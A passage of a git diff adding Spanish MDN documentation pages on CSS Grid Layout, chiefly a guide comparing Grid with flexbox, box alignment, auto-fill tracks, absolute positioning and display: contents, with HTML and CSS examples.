+ <li data-default-state="open"><a href="#"><strong>Guías</strong></a>
+  <ol>
+   <li><a href="/es/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">Conceptos básicos del posicionamiento con rejillas</a></li>
+   <li><a href="/es/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout">Relación con otros métodos de posicionamiento</a></li>
+   <li><a href="/es/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">Posicionamiento basado en líneas</a></li>
+   <li><a href="/es/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">Áreas de una plantilla de rejilla</a></li>
+   <li><a href="/es/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">Posicionamiento usando líneas de rejilla con nombres</a></li>
+   <li><a href="/es/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Posicionamiento automático en grid layout</a></li>
+   <li><a href="/es/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Alineación de cajas en grid layout</a></li>
+   <li><a href="/es/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">Rejillas, valores lógicos y modos de escritura</a></li>
+   <li><a href="/es/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout y Accesibilidad</a></li>
+   <li><a href="/es/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid Layout y Mejora Progresiva</a></li>
+   <li><a href="/es/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout">Layouts comunes utilizando CSS Grid</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Properties</strong></a>
+  <ol>
+   <li><a href="/es/docs/Web/CSS/grid">grid</a></li>
+   <li><a href="/es/docs/Web/CSS/grid-area">grid-area</a></li>
+   <li><a href="/es/docs/Web/CSS/grid-auto-columns">grid-auto-columns</a></li>
+   <li><a href="/es/docs/Web/CSS/grid-auto-flow">grid-auto-flow</a></li>
+   <li><a href="/es/docs/Web/CSS/grid-auto-rows">grid-auto-rows</a></li>
+   <li><a href="/es/docs/Web/CSS/grid-column">grid-column</a></li>
+   <li><a href="/es/docs/Web/CSS/grid-column-end">grid-column-end</a></li>
+   <li><a href="/es/docs/Web/CSS/grid-column-gap">grid-column-gap</a></li>
+   <li><a href="/es/docs/Web/CSS/grid-column-start">grid-column-start</a></li>
+   <li><a href="/es/docs/Web/CSS/grid-gap">grid-gap</a></li>
+   <li><a href="/es/docs/Web/CSS/grid-row">grid-row</a></li>
+   <li><a href="/es/docs/Web/CSS/grid-row-end">grid-row-end</a></li>
+   <li><a href="/es/docs/Web/CSS/grid-row-gap">grid-row-gap</a></li>
+   <li><a href="/es/docs/Web/CSS/grid-row-start">grid-row-start</a></li>
+   <li><a href="/es/docs/Web/CSS/grid-template">grid-template</a></li>
+   <li><a href="/es/docs/Web/CSS/grid-template-areas">grid-template-areas</a></li>
+   <li><a href="/es/docs/Web/CSS/grid-template-columns">grid-template-columns</a></li>
+   <li><a href="/es/docs/Web/CSS/grid-template-rows">grid-template-rows</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Glossary</strong></a>
+  <ol>
+   <li><a href="/es/docs/Glossary/Grid">Rejilla</a></li>
+   <li><a href="/es/docs/Glossary/Grid_lines">Líneas de rejilla</a></li>
+   <li><a href="/es/docs/Glossary/Grid_tracks">Pistas de rejilla</a></li>
+   <li><a href="/es/docs/Glossary/Grid_cell">Celda de rejilla</a></li>
+   <li><a href="/es/docs/Glossary/Grid_areas">Áreas de rejilla</a></li>
+   <li><a href="/es/docs/Glossary/Gutters">Canaletas</a></li>
+   <li><a href="/es/docs/Glossary/Grid_Axis">Ejes de rejilla</a></li>
+   <li><a href="/es/docs/Glossary/Grid_rows">Fila de rejilla</a></li>
+   <li><a href="/es/docs/Glossary/Grid_column">Columna de rejilla</a></li>
+  </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/es/web/css/css_grid_layout/relacion_de_grid_layout/index.html b/files/es/web/css/css_grid_layout/relacion_de_grid_layout/index.html
new file mode 100644
index 0000000000..298da1dc5f
--- /dev/null
+++ b/files/es/web/css/css_grid_layout/relacion_de_grid_layout/index.html
@@ -0,0 +1,642 @@
+---
+title: Relación de Grid Layout con otros métodos de diseño y posicionamiento - CSS
+slug: Web/CSS/CSS_Grid_Layout/Relacion_de_Grid_Layout
+tags:
+  - CSS
+  - CSS Cuadrícula
+  - CSS Grids
+  - CSS Grilla
+  - CSS Rejilla
+  - Guía
+translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout
+---
+<p>CSS Grid Layout ha sido diseñado para trabajar junto con otros elementos de CSS, como parte de un sistema completo para hacer el diseño. En esta guía explicaré cómo se ajusta <em>Grid</em> junto con otras técnicas que ya se estén usando.</p>
+
+<div class="note">
+<p>Las traducciones posibles a la palabra Grid en este contexto son: Grilla, Rejilla, Cuadrícula, Malla. Para efecto del contenido será <em>Grid</em>.</p>
+</div>
+
+<h2 id="Grid_y_flexbox">Grid y flexbox</h2>
+
+<p>La diferencia básica entre CSS Grid Layout y <a href="/es/docs/Web/CSS/CSS_Flexible_Box_Layout">CSS Flexbox Layout</a> es que Flexbox se creó para diseños de una dimensión, en una fila o una columna. En cambio CSS Grid Layout se pensó para el diseño bidimensional, en varias filas y columnas al mismo tiempo. Sin embargo, las dos especificaciones comparten algunas características comunes, y si ya has aprendido cómo utilizar Flexbox, verás semejanzas que te ayudarán a entender <em>Grid</em>.</p>
+
+<h3 id="Diseños_de_Una_dimensión_vs._dos_dimensiones">Diseños de Una dimensión vs. dos dimensiones</h3>
+
+<p>Un ejemplo simple puede demostrar la diferencia entre el diseño de una y dos dimensiones.</p>
+
+<p>En este primer ejemplo, estoy usando flexbox para diseñar un conjunto de cajas. Tengo cinco ítems-hijos en mi contenedor y les he dado valores a sus propiedades flex para que puedan aumentar y reducirse desde una flex-basis de 200 píxeles.</p>
+
+<p>También he configurado la propiedad <code>wrap</code>{{cssxref ("flex-wrap")}} , de modo que si el espacio del contenedor se hace demasiado estrecho para mantener esa flex-basis, los ítems se ajustarán (wrap) a una nueva fila.</p>
+
+<div id="onedtwod">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div&gt;One&lt;/div&gt;
+  &lt;div&gt;Two&lt;/div&gt;
+  &lt;div&gt;Three&lt;/div&gt;
+  &lt;div&gt;Four&lt;/div&gt;
+  &lt;div&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+  display: flex;
+  flex-wrap: wrap;
+}
+.wrapper &gt; div {
+  flex: 1 1 200px;
+}
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('onedtwod', '500', '230') }}</p>
+
+<p>En la imagen se puede ver que dos elementos se han ajustado en una nueva línea. Estos ítems comparten el espacio disponible y no están alineados debajo de los ítems de arriba. Esto es porque cuando envuelves (wrap) flex-ítems, cada nueva fila (o columna si se trabaja por columna) se convierte en un nuevo flex-container. La distribución del espacio ocurre a lo largo de la fila.</p>
+
+<p>La pregunta típica entonces es cómo conseguir que estos ítems se alineen. Aquí es donde queremos un método de layout bidimensional, queremos controlar la alineación por fila y columna, y es donde entra el grid.</p>
+
+<h3 id="El_mismo_diseño_con_CSS_Grid_Layout">El mismo diseño con CSS Grid Layout</h3>
+
+<p>En el siguiente ejemplo construyo el mismo diseño usando Grid. Esta vez tenemos tres pistas de columna de <code>1fr</code>. No necesitamos establecer nada sobre los ítems mismos, ellos se colocarán uno dentro de cada celda de la cuadrícula creada. Como se puede ver, se mantienen en una cuadrícula estricta, alineados en filas y columnas. Con cinco ítems, tenemos un hueco al final de la fila dos.</p>
+
+<div class="Two_Dimensional_With_Grid">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div&gt;One&lt;/div&gt;
+  &lt;div&gt;Two&lt;/div&gt;
+  &lt;div&gt;Three&lt;/div&gt;
+  &lt;div&gt;Four&lt;/div&gt;
+  &lt;div&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Two_Dimensional_With_Grid', '300', '170') }}</p>
+</div>
+
+<p>Hay una pregunta muy simple para decidir si utilizar grid o flexbox:</p>
+
+<ul>
+ <li>¿Necesito controlar el diseño únicamente por filas o por columnas? – usa flexbox</li>
+ <li>¿Necesito controlar el diseño por filas y por columnas? – usa grid</li>
+</ul>
+
+<h3 id="¿Contenido_fuera_o_layout_dentro">¿Contenido fuera o layout dentro?</h3>
+
+<p>Además de la distinción unidimensional vs bidimensional, hay otra forma de decidir si es mejor utilizar flexbox o grid para un layout. Flexbox trabaja desde el contenido. Un caso de uso ideal para flexbox es cuando tienes un conjunto de ítems y quieres espaciarlos uniformemente en un contenedor. Dejas que el tamaño del contenido decida cuánto espacio ocupa cada ítem. Si los ítems se envuelven (wrap) en una nueva línea, calcularán su espaciado basándose en su tamaño y el espacio disponible <em>en esa línea</em>.</p>
+
+<p>Grid funciona desde el layout hacia adentro. Cuando usas CSS Grid Layout creas un diseño y luego colocas elementos en él, o permites que las reglas de auto-placement coloquen los elementos en las celdas de la cuadrícula de acuerdo con esa cuadrícula estricta. Existe la posibilidad de crear pistas que respondan al tamaño del contenido, sin embargo, también cambiarán toda la pista.</p>
+
+<p>Si estás usando flexbox y estás deshabilitando parte de la flexibilidad, probablemente necesites usar CSS Grid Layout. Un ejemplo sería si estás configurando un ancho de porcentaje en un flex-item para alinearlo con otros ítems de una línea anterior. En ese caso, es probable que Grid sea una mejor opción.</p>
+
+<h3 id="Alineación_de_Cajas">Alineación de Cajas</h3>
+
+<p>La característica de Flexbox que fue más emocionante para muchos de nosotros es que nos dio un control de alineación adecuado por primera vez. Hizo fácil centrar una caja en la página. Los flex-ítems pueden estirarse hasta la altura del flex container, lo que significa que son posibles columnas de la misma altura. Estas eran cosas que queríamos hacer desde hace mucho tiempo, y creamos todo tipo de hacks para conseguir al menos el efecto visual.</p>
+
+<p>Las propiedades de alineación de la especificación de Flexbox se han añadido a una nueva especificación llamada <a href="https://drafts.csswg.org/css-align/">Box Alignment Level 3</a>. Esto significa que pueden utilizarse en otras especificaciones, incluida Grid Layout. En el futuro, es posible que se apliquen también a otros métodos de layout.</p>
+
+<p>En una guía posterior en esta serie voy a echar un vistazo a Box Alignment y cómo funciona en Grid Layout, sin embargo aquí hay un ejemplo simple comparando Flexbox con Grid.</p>
+
+<p>El primer ejemplo utiliza flexbox, tengo un contenedor con tres ítems dentro. El {{cssxref("min-height")}} del wrapper es fijo, por lo que está definiendo la altura del flex container. En el flex container he establecido {{cssxref("align-items")}} en <code>flex-end</code> para que los items se alineen al final del flex container. También he establecido la propiedad {{cssxref("align-self")}} en <code>box1</code> para que anule el valor por defecto y se estire a la altura del contenedor, y en <code>box2</code> para que se alinee con el inicio del contenedor flexible.</p>
+
+<div id="Alineacion_de_cajas">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="box1"&gt;One&lt;/div&gt;
+  &lt;div class="box2"&gt;Two&lt;/div&gt;
+  &lt;div class="box3"&gt;Three&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+  display: flex;
+  align-items: flex-end;
+  min-height: 200px;
+}
+.box1 {
+  align-self: stretch;
+}
+.box2 {
+  align-self: flex-start;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Alineacion_de_cajas', '300', '230') }}</p>
+</div>
+
+<h3 id="Alineación_en_CSS_Grid_Layout">Alineación en CSS Grid Layout</h3>
+
+<p>En este segundo ejemplo uso Grid para construir el mismo diseño, usando las propiedades de alineación como se aplican en el grid layout. Por eso alineamos a <code>start</code> y a <code>end</code> en vez de a <code>flex-start</code> y<code>flex-end</code>. En grid layout alineamos los ítems dentro de su grid area que en este caso es una celda de la rejilla pero puede ser un área formada por múltiples celdas de rejilla.</p>
+
+<div id="Alineacion_en_Cssgrid">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="box1"&gt;One&lt;/div&gt;
+  &lt;div class="box2"&gt;Two&lt;/div&gt;
+  &lt;div class="box3"&gt;Three&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3,1fr);
+  align-items: end;
+  grid-auto-rows: 200px;
+}
+.box1 {
+  align-self: stretch;
+}
+.box2 {
+  align-self: start;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Alineacion_en_Cssgrid', '200', '310') }}</p>
+</div>
+
+<h3 id="La_unidad_fr_y_flex-basis">La unidad <code>fr</code> y <code>flex-basis</code></h3>
+
+<p>Ya hemos visto que la unidad <code>fr</code> asigna a las pistas del grid (tracks) una proporción del espacio disponible en el grid container. La unidad <code>fr</code>combinada con la función {{cssxref("minmax()", "minmax")}} permite un comportamiento muy similar al que tienen las propiedades <code>flex</code> en Flexbox - y todavía mantenemos la posibilidad de crear un layout de dos dimensiones.</p>
+
+<p>Si volvemos al ejemplo en el que demostré la diferencia entre layouts de una y de dos dimensiones, puedes ver que hay una diferencia con respecto al modo de funcionamiento responsive en cada una de ellas. En la flex-layout si arrastramos nuestra ventana haciéndola cada vez más pequeña, flex box ajusta el número de ítems en cada fila de acuerdo al espacio disponible. Si tenemos mucho espacio los cinco ítems pueden caber en una fila, pero si tenemos un contenedor muy estrecho podríamos tener espacio solo para uno.</p>
+
+<p>En comparación, la versión grid siempre mantiene tres pistas de columna: son las pistas mismas las que crecen y se encogen, pero siempre hay tres, ya que al crear la rejilla definimos tres.</p>
+
+<h4 id="Auto-filling_grid_tracks">Auto-filling grid tracks</h4>
+
+<p>Podemos crear un efecto similar a flexbox, mientras mantenemos el contenido organizado en filas y columnas concretas mediante la creación de una lista de tracks usando la notación repeat y las propiedades <code>auto-fill</code> y <code>auto-fit</code>.</p>
+
+<p>En el siguiente ejemplo he usado <code>auto-fill</code> en el lugar del número entero de la notación repeat y he establecido la lista de pistas en 200 píxeles. Esto significa que el grid creará tantas columnas de 200 píxeles como quepan en el container.</p>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div&gt;One&lt;/div&gt;
+  &lt;div&gt;Two&lt;/div&gt;
+  &lt;div&gt;Three&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(auto-fill, 200px);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Auto-filling_grid_tracks', '500', '170') }}</p>
+
+<h3 id="Una_cantidad_flexible_de_pistas">Una cantidad flexible de pistas</h3>
+
+<p>Esto no es lo mismo que flexbox, en el ejemplo de flexbox los elementos son más grandes que la base de 200 píxeles antes del envoltorio. Podemos lograr lo mismo en grid combinando <code>auto-fill</code> y la función {{cssxref("minmax()", "minmax")}}. En el siguiente ejemplo configuro pistas que se rellenan automáticamente con <code>minmax</code>. Quiero que mis pistas tengan un mínimo de 200 píxeles, y luego establezco el máximo en <code>1fr</code>. Una vez que el navegador ha calculado cuántas veces caben 200 píxeles en el contenedor - teniendo en cuenta también la cantidad de espacio entre las rejillas ( grid gaps) - tratará como una instrucción el máximo de <code>1fr</code> y repartirá el espacio restante entre los ítems.</p>
+
+<div id="cantidad_flexible_pistas">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div&gt;One&lt;/div&gt;
+  &lt;div&gt;Two&lt;/div&gt;
+  &lt;div&gt;Three&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(auto-fill, minmax(200px, 1fr));
+}
+</pre>
+
+<p>{{ EmbedLiveSample('cantidad_flexible_pistas', '500', '170') }}</p>
+</div>
+
+<p>Ahora tenemos la capacidad de crear una cuadrícula con un número flexible de pistas flexibles, y de ver los ítems dispuestos en la cuadrícula alineados por filas y columnas al mismo tiempo.</p>
+
+<h2 id="El_grid_y_los_elementos_absolutamente_posicionados">El grid y los elementos absolutamente posicionados</h2>
+
+<p>Grid interactúa con elementos absolutamente posicionados, lo que puede ser útil si quieres colocar un ítem dentro de una rejilla o de un área de la rejilla. La especificación define el comportamiento cuando un grid container es el bloque contenedor y es el padre del ítem posicionado absolutamente.</p>
+
+<h3 id="El_grid_container_como_bloque_contenedor">El grid container como bloque contenedor</h3>
+
+<p>Para hacer que el grid container sea un bloque contenedor es necesario añadir al container la propiedad position con el valor relative, (de la misma manera que harías para cualquier otro bloque contenedor posicionado absolutamente). Una vez hecho esto, si das la propiedad <code>position:</code> <code>absolute</code> a un grid-item se tomará como bloque que contiene el grid container o, si el ítem también tiene una posición de cuadrícula, como el área de la cuadrícula en la que se coloca.</p>
+
+<p>En el ejemplo de abajo tengo un wrapper que contiene cuatro ítems hijos, el ítem tres está absolutamente posicionado y también está colocado en la cuadrícula usando line-based placement. El grid container tiene <code>position:</code> <code>relative</code> y así se convierte en el contexto de posicionamiento de este elemento.</p>
+
+<div id="grid_container_como_bloque_contenedor">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+   &lt;div class="box1"&gt;One&lt;/div&gt;
+   &lt;div class="box2"&gt;Two&lt;/div&gt;
+   &lt;div class="box3"&gt;
+    Este bloque está absolutamente posicionado. En este ejemplo, el grid container es el bloque contenedor, y por ello sus valores offsset para el posicionamiento absoluto se calculan a partir de los bordes exteriores del área en la que está colocado.
+   &lt;/div&gt;
+   &lt;div class="box4"&gt;Four&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+   display: grid;
+   grid-template-columns: repeat(4,1fr);
+   grid-auto-rows: 200px;
+   grid-gap: 20px;
+   position: relative;
+}
+.box3 {
+   grid-column-start: 2;
+   grid-column-end: 4;
+   grid-row-start: 1;
+   grid-row-end: 3;
+   position: absolute;
+   top: 40px;
+   left: 40px;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('grid_container_como_bloque_contenedor', '500', '330') }}</p>
+</div>
+
+<p>Puedes ver que el ítem está ocupando el área de la línea 2 a la 4 de la cuadrícula y que empieza después de la línea 1. Luego se desplaza en esa área usando las propiedades <code>top </code> y <code>left</code>. Sin embargo, se ha sacado del flujo, como ocurre con los objetos en posición absoluta, por lo que las reglas de auto-placement colocan los objetos en ese mismo espacio. El ítem tampoco causa que sea generada la fila adicional para que se extienda a la línea 3.</p>
+
+<p>Si eliminamos <code>position:</code> <code>absolute</code> de las reglas de <code>.box3</code> podemos ver cómo se mostraría sin el posicionamiento.</p>
+
+<h3 id="El_grid_container_como_parent">El grid container como parent</h3>
+
+<p>Si el hijo absolutamente posicionado tiene un grid container como padre pero ese container no crea un nuevo contexto de posicionamiento, entonces se saca del flujo como en el ejemplo anterior. El contexto de posicionamiento será el elemento que cree un contexto de posicionamiento como es común a otros métodos de diseño. En nuestro caso, si eliminamos <code>position:</code> <code>relative</code> del wrapper de arriba, el contexto de posicionamiento es de la ventana de visualización, como se muestra en esta imagen.</p>
+
+<p><img alt="Image of grid container as parent" src="https://mdn.mozillademos.org/files/14661/2_abspos_example.png" style="height: 408px; width: 1702px;"></p>
+
+<p>Una vez más, el ítem ya no participa en el diseño de la cuadrícula en términos de tamaño o cuando otros ítems se colocan automáticamente.</p>
+
+<h3 id="Con_un_grid_area_como_parent_2">Con un grid area como parent</h3>
+
+<p>Si el ítem absolutamente posicionado está anidado dentro de un área de cuadrícula, entonces puede crear un contexto de posicionamiento en esa área. En el ejemplo de abajo tenemos nuestra cuadrícula como antes pero esta vez he anidado un ítem dentro de <code>.box3</code> de la cuadrícula.</p>
+
+<p>He dado a <code>.box3</code> position relative y luego he posicionado el sub-ítem con las propiedades offset. En este caso, el contexto de posicionamiento es el grid area</p>
+
+<div id="Con_un_grid_area_como_parent">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="box1"&gt;One&lt;/div&gt;
+  &lt;div class="box2"&gt;Two&lt;/div&gt;
+  &lt;div class="box3"&gt;Three
+    &lt;div class="abspos"&gt;
+     Este bloque está absolutamente posicionado. En este ejemplo, el grid container es el bloque contenedor, y por ello sus valores offsset para el posicionamiento absoluto se calculan a partir de los bordes exteriores del área en la que está colocado.
+    &lt;/div&gt;
+  &lt;/div&gt;
+  &lt;div class="box4"&gt;Four&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(4,1fr);
+  grid-auto-rows: 200px;
+  grid-gap: 20px;
+}
+.box3 {
+  grid-column-start: 2;
+  grid-column-end: 4;
+  grid-row-start: 1;
+  grid-row-end: 3;
+  position: relative;
+}
+.abspos {
+  position: absolute;
+  top: 40px;
+  left: 40px;
+  background-color: rgba(255,255,255,.5);
+  border: 1px solid rgba(0,0,0,0.5);
+  color: #000;
+  padding: 10px;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Con_un_grid_area_como_parent', '500', '420') }}</p>
+</div>
+
+<h2 id="Grid_y_display_contents">Grid y <code>display:</code> <code>contents</code></h2>
+
+<p>Una interacción final con otra especificación de layout que merece la pena destacar es la interacción entre CSS Grid Layout y <code>display:</code> <code>contents</code>. El valor de <code>contents</code> en la propiedad display es un nuevo valor que se describe en <a href="https://drafts.csswg.org/css-display/#box-generation">Display specification</a> de la siguiente manera:</p>
+
+<blockquote>
+<p>“El elemento en sí no genera ninguna caja, pero sus hijos y pseudo-elementos siguen generando cajas como de costumbre. A efectos de generación y layout de cajas, el elemento debe ser tratado como si hubiera sido sustituido por sus hijos y pseudo-elementos en el árbol del documento”</p>
+</blockquote>
+
+<p>Si configuras un ítem como <code>display:</code> <code>contents</code> la caja que normalmente crearía desaparece, y las cajas de los elementos hijo aparecen como si hubieran subido de nivel. Esto significa que los hijos de un grid item pueden convertirse en grid items. . ¿Suena raro? He aquí un ejemplo sencillo. En el siguiente marcado tengo un grid, el primer ítem del grid se establece para que se expanda tres pistas de columna. Contiene tres ítems anidados. Como esos hijos no son hijos directos, no forman parte del grid layout y por tanto se muestran como <code>display</code>:<code>block</code>.</p>
+
+<div id="Display_Contents_Before">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.box {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+.nested {
+  border: 2px solid #ffec99;
+  border-radius: 5px;
+  background-color: #fff9db;
+  padding: 1em;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="box box1"&gt;
+    &lt;div class="nested"&gt;a&lt;/div&gt;
+    &lt;div class="nested"&gt;b&lt;/div&gt;
+    &lt;div class="nested"&gt;c&lt;/div&gt;
+  &lt;/div&gt;
+  &lt;div class="box box2"&gt;Two&lt;/div&gt;
+  &lt;div class="box box3"&gt;Three&lt;/div&gt;
+  &lt;div class="box box4"&gt;Four&lt;/div&gt;
+  &lt;div class="box box5"&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-auto-rows: minmax(100px, auto);
+}
+.box1 {
+  grid-column-start: 1;
+  grid-column-end: 4;
+}
+
+</pre>
+
+<p>{{ EmbedLiveSample('Display_Contents_Before', '400', '420') }}</p>
+</div>
+
+<p>Si ahora añado <code>display:</code> <code>contents</code> a las reglas del box1, la caja de ese ítem desaparece y los subítems se convierten en grid ítems y se despliegan usando las reglas de auto-placement.</p>
+
+<div id="Display_Contents_After">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.box {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+.nested {
+  border: 2px solid #ffec99;
+  border-radius: 5px;
+  background-color: #fff9db;
+  padding: 1em;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="box box1"&gt;
+    &lt;div class="nested"&gt;a&lt;/div&gt;
+    &lt;div class="nested"&gt;b&lt;/div&gt;
+    &lt;div class="nested"&gt;c&lt;/div&gt;
+  &lt;/div&gt;
+  &lt;div class="box box2"&gt;Two&lt;/div&gt;
+  &lt;div class="box box3"&gt;Three&lt;/div&gt;
+  &lt;div class="box box4"&gt;Four&lt;/div&gt;
+  &lt;div class="box box5"&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-auto-rows: minmax(100px, auto);
+}
+.box1 {
+  grid-column-start: 1;
+  grid-column-end: 4;
+  display: contents;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Display_Contents_After', '400', '330') }}</p>
+</div>
+
+<p>Esta puede ser una forma de anidar elementos en la rejilla para que actúen como si fueran parte de la rejilla, y es una forma de sortear algunos de los problemas que resolverían los sub-grid una vez que se implementen. También puedes usar <code>display:</code> <code>contents</code> de manera similar en flexbox para que los ítems anidados se conviertan en flex items.</p>
+
+<p>Como puedes ver en esta guía, CSS Grid Layout es sólo una parte de tu kit de herramientas. No tengas miedo de mezclarlo con otros métodos de maquetación, para conseguir los diferentes efectos que necesitas.</p>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/es/docs/Web/CSS"><strong>CSS</strong></a></li>
+ <li><a href="/es/docs/Web/CSS/Reference"><strong>CSS Reference</strong></a></li>
+ <li><a href="/es/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a></li>
+ <li data-default-state="open"><a href="#"><strong>Guías</strong></a>
+  <ol>
+   <li><a href="/es/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">Conceptos básicos del posicionamiento con rejillas</a></li>
+   <li><a href="/es/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout">Relación con otros métodos de posicionamiento</a></li>
+   <li><a href="/es/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">Posicionamiento basado en líneas</a></li>
+   <li><a href="/es/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">Áreas de una plantilla de rejilla</a></li>
